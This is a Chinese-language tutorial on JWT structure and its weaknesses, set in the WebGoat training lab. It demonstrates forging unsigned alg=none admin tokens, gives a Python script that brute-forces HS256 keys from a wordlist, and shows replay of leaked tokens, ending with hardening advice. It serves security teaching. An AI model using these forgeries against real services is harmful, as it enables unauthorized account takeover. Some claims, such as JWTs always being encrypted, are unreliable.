前言
在挖掘 SRC 的时候,面对一些 SSO 的场景,经常会看到一些奇奇怪怪的数据,这些数据多以三段式加密方式呈现,在后续的学习过程中,明白了此类令牌名为 Token
,在之前的学习过程中简单了解了下 JWT 的呈现方式,但是对其更深入的内容浅尝辄止,本篇文章从一个全面的方向了解,什么是 JWT,JWT 如何利用和攻击,旨在帮助安全从业人员更好的了解网络安全的令牌工作机制。
本文配套靶场地址为WebGoat
靶场身份验证及失败部分。
正文
JWT 介绍
JWT(JSON Web Token)是一个开放标准(RFC 7519),它定义了一种简洁的、自包含的方法用于通信双方之间以 JSON 对象的形式安全地传输信息。这种信息可以被验证和信任,因为它是数字签名的。JWT通常用于互联网应用程序中,用于身份验证和授权。
JWT 和 传统 Token 的区别
JWT | 传统 Token | |
---|---|---|
存储位置 | JWT通常存储在客户端 | 传统的Token如Cookies和Session Tokens通常在服务器端存储状态 |
传输方式 | JWT作为HTTP请求的一部分传输,可以直接在请求的Header中 | 传统Token通常通过Cookie在浏览器和服务器之间传输 |
状态管理 | JWT是自包含的,不依赖于服务器的会话状态,减轻服务器负担。 | 传统Token通常与服务器的会话状态绑定,服务器需要存储用户的会话信息,这可能导致更高的服务器负载和状态管理复杂性。 |
安全性和隐私 | JWT的所有信息都是加密的,并且可以设置权限,只有拥有正确密钥的用户才能解码信息。但是,如果密钥被泄露,那么所有的JWT都可能受到影响。 | 不包含敏感信息,因此不加密 |
跨域使用 | 由于 JWT 不依靠服务器状态,可以在不同域之间请求和传递用户信息,因此适合跨域请求 | 传统Token在跨域请求中可能需要服务器配置CORS(跨源资源共享)策略 |
JWT 组成部分
JWT由三部分组成:
- 头部(Header):这部分通常是一个JSON对象,描述了JWT的签名算法和其它元数据。
- 有效载荷(Payload):这部分也通常是一个JSON对象,包含了发行方信息、用户信息、过期时间等声明。
- 签名(Signature):这是header和payload的数字签名,使用header中指定的签名算法生成,用于验证JWT的完整性和真实性。
由于JWT是自包含的,所以它不需要在服务器上存储状态,这减少了攻击面,并允许用户在没有状态的系统中进行认证。同时,由于JWT是在客户端和服务器之间传输的,所以它也易于跨域使用。
以下是一段 JWT的内容,我们需要找到令牌中的用户名
令牌详细部分如下
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
其中:
-
header
部分为eyJhbGciOiJIUzI1NiJ9
-
payload
部分为ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9
-
signature
部分为9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
通过放入解码平台我们可以看到解密后的文件,找出解密后的用户名从而通关靶场
JWT 工作原理
用户在成功对服务器进行身份验证后使用用户名和密码登录 返回。服务器创建一个新令牌,并将此令牌返回给客户端。当客户端连续 调用服务器,在“Authorization”标头中附加新令牌。 服务器读取令牌并首先验证签名,验证成功后,服务器使用 令牌中用于标识用户的信息。
JWT 安全问题
空加密算法
所谓的“空加密算法”可能指的是没有使用任何加密算法的JWT,这在实际应用中是不常见的,因为加密是保障信息安全的标准做法。然而,确实存在一些JWT的实现可能不会使用加密,尤其是在一些对安全要求不是非常高的场景下。
通过空加密算法,我们主要了解 JWT 前两部分的组成方式及利用手法,简单来说就是将header
部分的alg
修改为none
,然后在signature
部分制空即可达成不安全的 JWT 加密算法的效果。
具体的流程如下,比如在如下的情景中,只有管理员可以重置投票信息:
此时我们抓包,发现普通用户 TOM 的 JWT
令牌如下图所示:
此时我们将其放入解码平台进行解码,可以得出前两部分的内容:
随后我们对数据包进行修改,首先将alg
中加密方式设置为none
, 然后将admin
中的false
修改为true
,重新进行 Base64 编码,得到如下的 JWT 进行请求发送并且成功。
ewogICJhbGciOiAibm9uZSIKfQ.eyJpYXQiOjE3MDkyMjM1MDEsImFkbWluIjoibm9uZSIsInVzZXIiOiJUb20ifQ.
注意,虽然signature
部分为空,但是仍然需要之前加上.
号达成格式匹配,此时将其设置为a***ess_token
进行重放,发现投票次数已经被重置。
JWT 签名爆破
有时候我们可以尝试去爆破 JWT 的signature
密钥,虽然服务器端的密钥经常是随机的,但是我们需要了解这个攻击流程。
爆破代码如下
import jwt
import termcolor
if __name__ == "__main__":
jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'
with open('top1000.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_)
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError):
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
continue
else:
print('\r', '\bsorry! no key be found.')
访问令牌泄露
如果访问令牌泄露,我们可以配合时间戳的修改来达到恶意的操作,比如我们曾经得到某个用户的JWT
令牌如下:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4***I6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmK***hfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
通过解密发现其中的时间戳可以修改,将其替换为最近的时间戳,进行发送达成认证成功攻击的效果,注意此时仍然需要signature
设置为空。
总结:
使用 JWT 令牌的最佳位置是在服务器到服务器之间的通信。
使用 JWT 令牌的一些建议:
- 修复算法,不允许客户端切换算法。
- 在使用对称密钥对令牌进行签名时,请确保使用适当的密钥长度。
- 确保添加到令牌的声明不包含个人信息。如果需要添加更多信息,请同时选择加密令牌。
- 向项目添加足够的测试用例,以验证无效令牌是否确实不起作用。与第三方集成以检查您的令牌并不意味着您根本没有测试您的应用程序。